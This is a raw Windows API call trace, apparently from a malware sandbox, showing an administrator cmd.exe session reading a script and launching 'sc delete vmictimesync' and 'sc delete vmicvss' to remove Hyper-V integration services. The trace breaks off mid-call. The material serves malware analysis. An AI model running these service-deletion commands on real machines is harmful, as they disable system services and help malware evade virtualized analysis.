lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete vmictimesync\n\nface\n") returned 1 [0068.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete vmictimesync\n\nface\n") returned 1 [0068.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete vmictimesync\n\nface\n") returned 1 [0068.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete vmictimesync\n\nface\n") returned 1 [0068.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete vmictimesync\n\nface\n") returned 1 [0068.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete vmictimesync\n\nface\n") returned 1 [0068.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te vmictimesync\n\nface\n") returned 1 [0068.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e vmictimesync\n\nface\n") returned 1 [0068.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" vmictimesync\n\nface\n") returned 1 [0068.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="vmictimesync\n\nface\n") returned 1 [0068.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="mictimesync\n\nface\n") returned 1 [0068.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="ictimesync\n\nface\n") returned 1 [0068.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="ctimesync\n\nface\n") returned 1 [0068.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="vimesync\n\nface\n") returned 1 [0068.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.537] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="smesync\n\nface\n") returned 1 [0068.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.537] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="sesync\n\nface\n") returned 1 [0068.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.537] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="\nsync\n\nface\n") returned 1 [0068.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.537] GetFileType (hFile=0xb8) returned 0x3 [0068.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.537] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.537] GetFileType (hFile=0x120) returned 0x3 [0068.537] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicvss\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicvss\n", lpUsedDefaultChar=0x0) returned 19 [0068.537] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x12, lpOverlapped=0x0) returned 1 [0068.537] GetProcessHeap () returned 0x4a0000 [0068.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c2630 [0068.538] GetProcessHeap () returned 0x4a0000 [0068.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c2630 | out: hHeap=0x4a0000) returned 1 [0068.538] GetProcessHeap () returned 0x4a0000 [0068.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0068.538] GetProcessHeap () returned 0x4a0000 [0068.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0068.538] GetProcessHeap () returned 0x4a0000 [0068.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4b6510 [0068.539] GetConsoleOutputCP () returned 0x1b5 [0068.539] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.539] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.539] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.540] GetProcessHeap () returned 0x4a0000 [0068.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0068.540] GetProcessHeap () returned 0x4a0000 [0068.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x36) returned 0x4b6550 [0068.540] GetProcessHeap () returned 0x4a0000 [0068.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0068.540] SetErrorMode (uMode=0x0) returned 0x1 [0068.540] SetErrorMode (uMode=0x1) returned 0x0 [0068.540] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0068.540] SetErrorMode (uMode=0x1) returned 0x1 [0068.540] GetProcessHeap () returned 0x4a0000 [0068.540] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0068.540] GetProcessHeap () returned 0x4a0000 [0068.540] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0068.540] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.540] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.540] GetProcessHeap () returned 0x4a0000 [0068.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0068.541] GetProcessHeap () returned 0x4a0000 [0068.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0068.541] GetProcessHeap () returned 0x4a0000 [0068.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0068.541] GetProcessHeap () returned 0x4a0000 [0068.541] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0068.541] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.541] GetProcessHeap () returned 0x4a0000 [0068.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0068.541] GetProcessHeap () returned 0x4a0000 [0068.541] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0068.541] GetProcessHeap () returned 0x4a0000 [0068.541] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0068.541] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.541] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.541] GetLastError () returned 0x2 [0068.541] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.542] GetLastError () returned 0x2 [0068.542] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.542] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.542] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.542] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.542] GetLastError () returned 0x2 [0068.542] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.542] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.543] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0068.543] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0068.543] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.543] GetProcessHeap () returned 0x4a0000 [0068.543] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0068.543] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.543] GetProcessHeap () returned 0x4a0000 [0068.543] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9c) returned 0x4b9180 [0068.543] GetProcessHeap () returned 0x4a0000 [0068.543] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9c [0068.543] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicvss") returned 1 [0068.544] GetProcessHeap () returned 0x4a0000 [0068.544] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0068.544] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0068.544] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0068.544] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.544] GetProcessHeap () returned 0x4a0000 [0068.544] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.545] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.546] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.546] GetProcessHeap () returned 0x4a0000 [0068.546] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0068.546] GetProcessHeap () returned 0x4a0000 [0068.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0068.546] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicvss", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicvss", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete vmicvss", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x864, dwThreadId=0x874)) returned 1 [0068.550] CloseHandle (hObject=0x54) returned 1 [0068.550] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.550] GetProcessHeap () returned 0x4a0000 [0068.550] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0068.551] GetEnvironmentStringsW () returned 0x4bba90* [0068.551] GetProcessHeap () returned 0x4a0000 [0068.551] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0068.551] FreeEnvironmentStringsW (penv=0x4bba90) returned 1 [0068.551] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0068.551] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0068.551] WaitForSingleObject 